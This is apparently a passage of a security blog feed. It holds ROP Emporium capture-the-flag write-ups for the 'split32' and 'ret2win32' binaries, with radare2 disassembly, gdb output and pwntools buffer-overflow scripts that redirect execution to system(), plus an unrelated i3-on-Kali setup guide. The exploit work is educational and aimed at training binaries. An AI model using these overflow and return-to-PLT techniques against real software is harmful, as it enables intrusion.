gdb_cmd = [
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
buf = pwn.cyclic(60, n = 4)
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
The process crashes, as expected, and we find that the EIP overflow occurs at "laaa".
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "split32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f6c059 → Name: __kernel_vsyscall() [#1] 0xf7e4e7d7 → Name: read() [#2] 0xf7ddb798 → Name: _IO_file_underflow() [#3] 0xf7ddc8ab → Name: _IO_default_uflow() [#4] 0xf7dcf871 → Name: _IO_getline_info() [#5] 0xf7dcf9be → Name: _IO_getline() [#6] 0xf7dce7a9 → Name: fgets() [#7] 0x8048643 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f6c059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffa32570 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $ebx : 0x00000000 $ecx : 0xf7f3f89c → 0x00000000 $edx : 0xffa32570 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $esp : 0xffa325a0 → "maaanaaaoaaa" $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f3e000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $ds: 0x002b $es: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffa325a0│+0x00: "maaanaaaoaaa" ← $esp 0xffa325a4│+0x04: "naaaoaaa" 0xffa325a8│+0x08: "oaaa" 0xffa325ac│+0x0c: 0xf7d8000a → 0x41600000 0xffa325b0│+0x10: 0xf7f3e000 → 0x001d4d6c ("lM"?) 0xffa325b4│+0x14: 0xf7f3e000 → 0x001d4d6c ("lM"?) 0xffa325b8│+0x18: 0x00000000 0xffa325bc│+0x1c: 0xf7d81e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "split32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤
Now that we know our offset, we can start building our ROP chain.
We don't have a function to call this time that will just do everything for us. Instead, we're going to have to "ret" to system directly, and set up the chain to pass the /bin/cat flag.txt string instead of /bin/ls.
Now we know that we can't just invoke system in libc directly, as ASLR is enabled so its address will keep changing every time we run the executable.
We can confirm this from the command line using ldd
. This command will print the linked library dependencies of an executable and their memory addresses. We can note that if we run it several times, the base memory address of the linked libraries changes:
root@finn split # ldd split32 linux-gate.so.1 (0xf7fa7000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da5000) /lib/ld-linux.so.2 (0xf7fa9000) root@finn split # ldd split32 linux-gate.so.1 (0xf7f3b000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d39000) /lib/ld-linux.so.2 (0xf7f3d000) root@finn split # ldd split32 linux-gate.so.1 (0xf7f9f000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d9d000) /lib/ld-linux.so.2 (0xf7fa1000) root@finn split #
So what can we do? Well, the problem we're having will also be encountered by the split32 binary, it has to be able to reference system in some way if it wants to invoke it, right?
The way it does this is through the magic of the Global Offset Table (GOT) and the Procedural Linkage Table (PLT). These are two sections of our split32 binary, as we can see by using objdump
to list the section headers of split32.
$ objdump -h split32 split32: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048154 08048154 00000154 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .gnu.hash 00000030 080481ac 080481ac 000001ac 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynsym 000000d0 080481dc 080481dc 000001dc 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .dynstr 00000081 080482ac 080482ac 000002ac 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version 0000001a 0804832e 0804832e 0000032e 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .gnu.version_r 00000020 08048348 08048348 00000348 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.dyn 00000020 08048368 08048368 00000368 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .rel.plt 00000038 08048388 08048388 00000388 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 10 .init 00000023 080483c0 080483c0 000003c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .plt 00000080 080483f0 080483f0 000003f0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .plt.got 00000008 08048470 08048470 00000470 2**3 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .text 00000252 08048480 08048480 00000480 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 14 .fini 00000014 080486d4 080486d4 000006d4 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 15 .rodata 00000067 080486e8 080486e8 000006e8 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 16 .eh_frame_hdr 0000003c 08048750 08048750 00000750 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 17 .eh_frame 0000010c 0804878c 0804878c 0000078c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 18 .init_array 00000004 08049f08 08049f08 00000f08 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .jcr 00000004 08049f10 08049f10 00000f10 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .got 00000004 08049ffc 08049ffc 00000ffc 2**2 CONTENTS, ALLOC, LOAD, DATA 23 .got.plt 00000028 0804a000 0804a000 00001000 2**2 CONTENTS, ALLOC, LOAD, DATA 24 .data 00000022 0804a028 0804a028 00001028 2**2 CONTENTS, ALLOC, LOAD, DATA 25 .bss 0000002c 0804a060 0804a060 0000104a 2**5 ALLOC 26 .comment 00000034 00000000 00000000 0000104a 2**0 CONTENTS, READONLY
Note that the GOT is writable.
The crux of how this works is that every imported function will be listed in the PLT, and the split32 code will point to that listing in the PLT. When that function is invoked, the PLT heads over to the GOT and tries to look up the actual address of the function. If it's the first time, the GOT redirects to the link loader library (ld-linux.so, which we saw earlier is imported when we used ldd) which goes and fetches the real address. The GOT will then save this value for all future calls to that function, which is why it needs to be writable.
We can see therefore easily see the imported functions of a binary by examining the PLT. Radare2 did this for us automatically, and we can see them in the initial function list. All the functions starting with 'sym.imp.' are imported functions, and we can see that this includes system as we expect.
0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset ```
The addresses here are in the address space of our binary as they are in the PLT, and so are not subject to ASLR. We can therefore just point to this address instead of the actual address of system as the binary would normally, and avoid having to deal with ASLR!
We note then that the address of the system import is 0x08048430 and we have to set up the chain so that it's called with 0x0804a030 as the argument, which is the address of /bin/cat flag.txt.
We're almost there. All we have to do is set up our chain so it looks like right to the processor.
Inside a function, everything is stored inside a stack frame on the stack. When a new function is called, a new stack frame is set up and "pushed" on top of the stack, and when that function completes its stack frame is "popped" back off, and the first function's stack frame is still there and is restored, putting everything back in place as it had been.
The anatomy of a stack frame is detailed in the below image.
(Note this image was taken from Gustavo Duarte's article on the stack, a great intro and recommended reading).
While all other sections in the binary start at a low-numbered address and end at an address with a higher number (like large houses on a street), the stack works in the opposite direction. This allows the stack and heap sections, which are both used to store dynamic data, to grow towards each other efficiently with no loss of space.
When a function is first invoked, it executes the function preamble where it saves the value of the ebp register and creates space for the local variables.
We can see this in the functions we have disassembled, for example at the top of pwnme:
| 0x080485f6 55 push ebp
| 0x080485f7 89e5 mov ebp, esp
| 0x080485f9 83ec28 sub esp, 0x28 ; '('
| 0x080485fc 83ec04 sub esp, 4
...snip...
Note that as the stack grows down, subtracting numbers from ESP (the stack pointer, which points to the end or top of the stack) is allocating more memory to the stack.
This means that the three values to the left to the image above are set up once we're in a function, and we don't have to worry about adding them to our ROP chain as we're setting up a call to a function before it's called.
Now when when writing into memory we write from low to high addresses as we expect. Comparing this to the diagram, this means we'll be "coming in from the left" and that when we overwrite the stack with our buffer overflow after EIP we want the return address of the next function we want to invoke, then the parameters to the current function we're calling.
As we don't want to invoke another function, we can just put four-bytes of rubbish and then our parameters.
After our function is invoked, it will look like our stack frame was set up with a return address and parameters that are actually controlled by us! It will then enter the function preamble and push EBP to the stack and create space for the local variables. This will overwrite part of our buffer overflow buffer, but in the direction we don't care about!
Our chain then will look like this:
#!/usr/bin/env python2
import pwn
t = pwn.process("./split32")
gdb_cmd = [
'c'
]
ptr_system_plt = 0x08048430
ptr_cat_flag_string = 0x0804a030
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
offset = pwn.cyclic_find("laaa", n = 4)
buf = "A"*offset
buf += pwn.p32(ptr_system_plt)
buf += "BBBB"
buf += pwn.p32(ptr_cat_flag_string)
t.recvuntil('\n>')
t.sendline(buf)
t.interactive()
Here our chain is enough As to reach our offset, a 32-bit packed pointer to system in the PLT, a garbage return address of four Bs (as we don't care where it goes after we get our flag!) and then the 32-bit packed address of our cat-flag-string.
Let's run it!
root@finn split # python pwn_redo.py [+] Starting local process './split32': pid 53952 [*] running in new terminal: /usr/bin/gdb -q "./split32" 53952 -x "/tmp/pwnKLrssb.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $
Huzzah! We got our flag! A job well done.
This was quite a lengthy post as we looked at ropemporium's second 32-bit challenge, split. We've picked up Visual Mode in radare2 in addition to a few other bits and pieces, and looked at how the binary resolves functions when ASLR is present on the host using the PLT and the GOT. Finally, we got to grips with stack frames and set up an exploit to invoke system, passing to it a string stored elsewhere in memory.
Next time we'll try the third challenge, callme, where we'll have to set up our first actual ROP chain, invoking multiple functions!
]]>A quick setup guide for i3 on Kali.
If you're anything like me, you regularly use Kali Linux as a VM or on lightweight boxes with fewer resources than you'd like. I recently switched to the i3 window manager instead of Gnome, and have marked a significant increase in the usability of the VM. I've tried Kali's other default Window Managers (KDE, Mate etc) but for the most part they either look like crap or don't make a big difference to the usability, whereas i3 (for me) is simple, looks decent, and uses far fewer resources.
In this guide, we're going to set up i3 on Kali, and get it looking reasonable.
i3 is a tiling window manager. This means that, by default, anytime you create a new window (terminal, firefox, etc) it splits the screen, however we're going to set it up slightly differently so that all windows are presented in tabs. We'll also have workspaces of course, as well as a minimalistic status bar. The final product can be seen below.
The first step is to install i3, in addition to a few extras that we'll use to style it.
$ apt install -y gtk-chtheme i3 i3blocks lxappearance
Now reboot and when we go to log in, after entering the username field and at the password prompt a little cog icon appears next to the login button, from here we can choose "i3" and we're good to start!
Note that it looks pretty horrible at the moment, but we'll quickly change that. If you get prompted for a default modifier key, the recommended option is windows. This is the key that will be used to navigate tabs etc, we'll go over that later.
All the configuration for i3 itself takes place in the ~/.config/i3 folder, mostly the config file. We'll need to have logged in using i3 at least once to have these files created.
To start out, hit the modifier key you chose earlier and Enter to launch a terminal.
Add the following lines to the bottom of the config file:
workspace_layout tabbed # Tells i3 to use tabs for new windows, not splits
hide_edge_borders both # Hides some large black borders around windows
Then add or amend the bar subsection to invoke i3blocks, a much nicer status bar than the default.
set $base00 #101218
set $base01 #1f222d
set $base02 #252936
set $base03 #7780a1
set $base04 #C0C5CE
set $base05 #d1d4e0
set $base06 #C9CCDB
set $base07 #ffffff
set $base08 #ee829f
set $base09 #f99170
set $base0A #ffefcc
set $base0B #a5ffe1
set $base0C #97e0ff
set $base0D #97bbf7
set $base0E #c0b7f9
set $base0F #fcc09e
bar {
status_command i3blocks -c ~/.config/i3/i3blocks.conf
colors {
separator $base03
background $base01
statusline $base05
# border background text
focused_workspace $base01 $base01 $base07
active_workspace $base01 $base02 $base03
inactive_workspace $base01 $base01 $base03
urgent_workspace $base01 $base01 $base08
}
}
We can then configure the ~/.config/i3/i3blocks.conf file to alter our status bar, for example commenting the temperature and battery sections, as they're not useful for VMs. We can get this file from the i3blocks github repository, and alter it as we wish.
i3 has it's own set of commands, which are quite intuitive and easy to use. It uses a "mod" key which can be changed, but by default is the windows key.
mod+Enter
mod+d
and start typing process name. A suggestion bar appears at the top of the screen.mod+arrow keys
mod+number of workspace
mod+shift+number of workspace
mod+shift+r
mod+shift+q
mod+shift+e
There are a great set of YouTube videos by Code Cast here that go over some optional extras for i3, such as always launching certain processes (such as a terminal, firefox etc) in a dedicated workspace, or changing the workspace icons in the bottom-left (usually 1,2,3 etc) to font-awesome icons such as the firefox and terminal symbols.
As suggested by the above videos, I use the Yosemite San Francisco font, originally for Macs. To install this run:
$ wget https://github.com/supermarin/YosemiteSanFranciscoFont/blob/master/System%20San%20Francisco%20Display%20Regular.ttf?raw=true -O ~/.font/System\ San\ Francisco\ Display\ Regular.ttf
Then change the name of the font that's used by editing the ~/.gtkrc-2.0 file, changing the line gtk-font-name="System San Francisco Display 12"
, where 12 is the font size. If this file does not exist, just create it.
We can also run lxappearance
and gtk-chtheme
. These programs can be used to alter most appearance settings, however they don't appear to notice the new font file so we have to edit the file manually. We may also have to change it in ~/.config/gtk-3.0/settings.ini in the same way, depending on versions used.
In the above screenshot I'm using byobu as the terminal multiplexer and vim powerline for vim. Both are great tools I can recommend.
We can change the default window manager in the file /usr/share/gdm/BuiltInSessions/default.desktop by changing the value of Exec to i3.
If it's not been changed from it's default value, we can run:
$ sed -i.bak '/^Exec=/ s/default/i3/' /usr/share/gdm/BuiltInSessions/default.desktop
This will also create a backed up file of the original at /usr/share/gdm/BuiltInSessions/default.desktop.bak.
However I found that Kali Linux still had "GNOME" selected in the window manager menu on the login screen by default, and not the default by default which was frustrating. I didn't find how to change this, so in the end I just backed up the folder where this options are stored, and removed the GNOME options:
$ cp -r /usr/share/xsessions /usr/share/xsessions.bak
$ rm /usr/share/xsessions/gnome*
Then when logging in, the i3 window manager is used by default.
If anyone finds out how to elegantly handle this, please tweet at me to let me know!
We've had a quick look at setting up i3 as a window manager for Kali Linux. We've touched on the usage and some configuration options, but almost every aspect of i3 is configurable. For more details and options, check out the i3 user guide.
]]>ROP Emporium challenges with Radare2 and pwntools.
Today we're going to be cracking the first ropmeporium challenge. These challenges are a learning tool for Return Oriented Programming, a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory.
We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use radare2 for the reverse engineering aspects and pwntools for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along.
To start off, lets have a look at the file:
$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped
We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on.
$ r2 -AAA ret2win32
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x08048480]>
The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt.
The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming ASLR isn't present. By default the starting address is the address of the entry0 function, where program execution starts.
We can list all the functions in the binary with afl
:
[0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 99 sym.pwnme 0x08048659 1 41 sym.ret2win 0x08048690 4 93 sym.__libc_csu_init 0x080486f0 1 2 sym.__libc_csu_fini 0x080486f4 1 20 sym._fini
Here we can note several interesting functions: main, pwnme and ret2win.
As program execution properly starts in the main method, let's take a look at that first to orient ourselves.
We can do this with the pdf
(print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf.
[0x08048480]> s sym.main [0x0804857b]> pdf ;-- main: / (fcn) sym.main 123 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048497 (entry0) | 0x0804857b 8d4c2404 lea ecx, dword [local_4h] ; 4 | 0x0804857f 83e4f0 and esp, 0xfffffff0 | 0x08048582 ff71fc push dword [ecx - 4] | 0x08048585 55 push ebp | 0x08048586 89e5 mov ebp, esp | 0x08048588 51 push ecx | 0x08048589 83ec04 sub esp, 4 | 0x0804858c a164a00408 mov eax, dword [obj.stdout] ; [0x804a064:4]=0 | 0x08048591 6a00 push 0 | 0x08048593 6a02 push 2 ; 2 | 0x08048595 6a00 push 0 ; size_t size | 0x08048597 50 push eax ; int mode | 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x0804859d 83c410 add esp, 0x10 | 0x080485a0 a140a00408 mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0 | 0x080485a5 6a00 push 0 | 0x080485a7 6a02 push 2 ; 2 | 0x080485a9 6a00 push 0 ; size_t size | 0x080485ab 50 push eax ; int mode | 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x080485b1 83c410 add esp, 0x10 | 0x080485b4 83ec0c sub esp, 0xc | 0x080485b7 6810870408 push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" ; const char * s | 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485c1 83c410 add esp, 0x10 | 0x080485c4 83ec0c sub esp, 0xc | 0x080485c7 6828870408 push str.32bits ; 0x8048728 ; "32bits\n" ; const char * s | 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485d1 83c410 add esp, 0x10 | 0x080485d4 e81d000000 call sym.pwnme | 0x080485d9 83ec0c sub esp, 0xc | 0x080485dc 6830870408 push str.Exiting ; 0x8048730 ; "\nExiting" ; const char * s | 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s) | 0x080485e6 83c410 add esp, 0x10 | 0x080485e9 b800000000 mov eax, 0 | 0x080485ee 8b4dfc mov ecx, dword [local_4h_2] | 0x080485f1 c9 leave | 0x080485f2 8d61fc lea esp, dword [ecx - 4] \ 0x080485f5 c3 ret [0x0804857b]>
Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function.
We notice that a bunch of stuff is printed using puts and then pwnme is called, so let's take a look at that function.
Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way.
[0x0804857b]> pdf @ sym.pwnme / (fcn) sym.pwnme 99 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 683c870408 push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 68bc870408 push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; const char * s | 0x08048627 e8f4fdffff call sym.imp.puts ; int puts(const char *s) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f 83ec0c sub esp, 0xc | 0x08048632 6821880408 push 0x8048821 ; const char * format | 0x08048637 e8c4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804863c 83c410 add esp, 0x10 | 0x0804863f a160a00408 mov eax, dword [obj.stdin] ; [0x804a060:4]=0 | 0x08048644 83ec04 sub esp, 4 | 0x08048647 50 push eax | 0x08048648 6a32 push 0x32 ; '2' ; 50 | 0x0804864a 8d45d8 lea eax, dword [local_28h] | 0x0804864d 50 push eax ; char *s | 0x0804864e e8bdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048653 83c410 add esp, 0x10 | 0x08048656 90 nop | 0x08048657 c9 leave \ 0x08048658 c3 ret
We can see memset at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order.
As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h.
We can also see further down that fgets is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here:
[0x0804857b]> ? 0x32 - 0x20 18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200
So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit!
Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge.
[0x0804857b]> pdf @ sym.ret2win / (fcn) sym.ret2win 41 | sym.ret2win (); | 0x08048659 55 push ebp | 0x0804865a 89e5 mov ebp, esp | 0x0804865c 83ec08 sub esp, 8 | 0x0804865f 83ec0c sub esp, 0xc | 0x08048662 6824880408 push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format | 0x08048667 e894fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804866c 83c410 add esp, 0x10 | 0x0804866f 83ec0c sub esp, 0xc | 0x08048672 6841880408 push str.bin_cat_flag.txt ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string | 0x08048677 e8b4fdffff call sym.imp.system ; int system(const char *string) | 0x0804867c 83c410 add esp, 0x10 | 0x0804867f 90 nop | 0x08048680 c9 leave \ 0x08048681 c3 ret
This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation.
We're going to exploit the binary using pwntools, which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development.
To start with, let's try running the binary:
$ ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> test
Exiting
We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected.
Let's create a skeleton script to execute and debug our exploit:
#!/usr/bin/env python2
import pwn
t = pwn.process("./ret2win32")
pwn.gdb.attach(t)
t.interactive()
This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the gdb debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32")
, but until then we'll start it organically to avoid any potential issues.
Running our python script results in:
$ python pwn_ret2win.py
[+] Starting local process './ret2win32': pid 56036
[*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> $
A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue:
#!/usr/bin/env python2
import pwn
t = pwn.process("./ret2win32")
gdb_cmd = [
'b *0x08048653',
'c'
]
pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
t.recvuntil('\n>')
t.sendline("test")
t.interactive()
This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input.
We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('\n>')
as this is what is displayed in the console when the binary is waiting for our input.
We then send the string 'test' followed by a newline character using the sendline
command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack:
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f31059 → Name: __kernel_vsyscall() [#1] 0xf7e147d7 → Name: read() [#2] 0xf7da1798 → Name: _IO_file_underflow() [#3] 0xf7da28ab → Name: _IO_default_uflow() [#4] 0xf7d95871 → Name: _IO_getline_info() [#5] 0xf7d959be → Name: _IO_getline() [#6] 0xf7d947a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f31059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffefeb60 → "test" $ebx : 0x00000000 $ecx : 0xf7f0589c → 0x00000000 $edx : 0xffefeb60 → "test" $esp : 0xffefeb50 → 0xffefeb60 → "test" $ebp : 0xffefeb88 → 0xffefeb98 → 0x00000000 $esi : 0xf7f04000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 →add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $ds: 0x002b $fs: 0x0000 $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $es: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffefeb50│+0x00: 0xffefeb60 → "test" ← $esp 0xffefeb54│+0x04: 0x00000032 ("2"?) 0xffefeb58│+0x08: 0xf7f045c0 → 0xfbad2088 0xffefeb5c│+0x0c: 0xfbad2887 0xffefeb60│+0x10: "test" ← $eax, $edx 0xffefeb64│+0x14: 0x0000000a 0xffefeb68│+0x18: 0x00000000 0xffefeb6c│+0x1c: 0x00000000 